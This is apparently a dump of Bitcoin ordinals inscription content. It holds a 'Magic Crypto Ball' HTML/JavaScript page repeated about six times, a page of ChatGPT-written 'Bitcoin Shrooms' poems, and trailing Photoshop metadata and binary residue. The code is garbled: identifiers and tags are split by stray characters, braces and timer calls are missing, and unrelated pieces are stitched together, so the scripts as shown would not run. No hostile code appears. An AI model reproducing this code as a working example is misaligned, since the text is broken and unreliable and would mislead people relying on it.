		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
    <title>Bitcoin Shrooms Poems - Day 3</title>
    <meta name="description" content="Ode to Bitcoin Shrooms">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <h1>Oh how I long to acquire a bitcoin shroom, by Shroom Shroomerstein</h1>
        Well, I woke up on this morn, feeling blue<br />
        Thinking 'bout that shroom, and the server too<br />
        I want to join the crowd, and have some fun<br />
locked doors, they just won't budge, they won't come undone<br /><br />
        I've got some Bitcoins, I've got some cash<br />
        But I can't seem to find a way to join that bash<br />
        I'm feeling sad, I'm feeling low<br />
        Wishing I could just up and go<br /><br />
        Oh, if only I could get my hands on a shroom<br />
        And chat with folks, in that Discord room<br />
        I'd be so happy, I'd jump for joy<br />
        And all my troubles, I'd leave behind, ohM
        So I sit here and I write this verse<br />
        Hoping that the doors will open, and my heart will not be cursed<br />
        And someday soon, I'll finally get my wish<br />
        And join that server, with a shroom to cherish.<br /><br />
        ---------------------------------------------
    <h3>Previous Poems</h3>
    <ul><a href="https://ordinals.com/inscription/52250a916387f75c5ec32cdb1b60134f3242a78bdcb31a67c347b10be3e50ce8i0" rel="noopener noreferrer" tarM
get="_blank">Inscription #67838 - Oh how I long to acquire a Bitcoin Shroom</a></ul>
    <ul><a href="https://ordinals.com/inscription/229162b15c54b8bcefb560546ecacc39b9cc2955b99eb2309dce6ba728ee60bei0" rel="noopener noreferrer" target="_blank">Inscription #68225 - Oh how I longeth to acquireth a Bitcoin Shroom</a></ul>
    <p>---------------------------------------------</p>
  <footer>These poems are created by ChatGPT and inscribed to be immutable artifacts in history to forever be cherised by the masseL
    With love,<br /><a href="https://twitter.com/maximonee_" rel="noopener noreferrer" target="_blank">Maximonee</a>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:4CC752D1AA3611ED84EDCC0DB163FC68" xmpMM:InstanceID="xmp.iid:4CC752D0AA3611ED84EDCC0DB163FC68" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
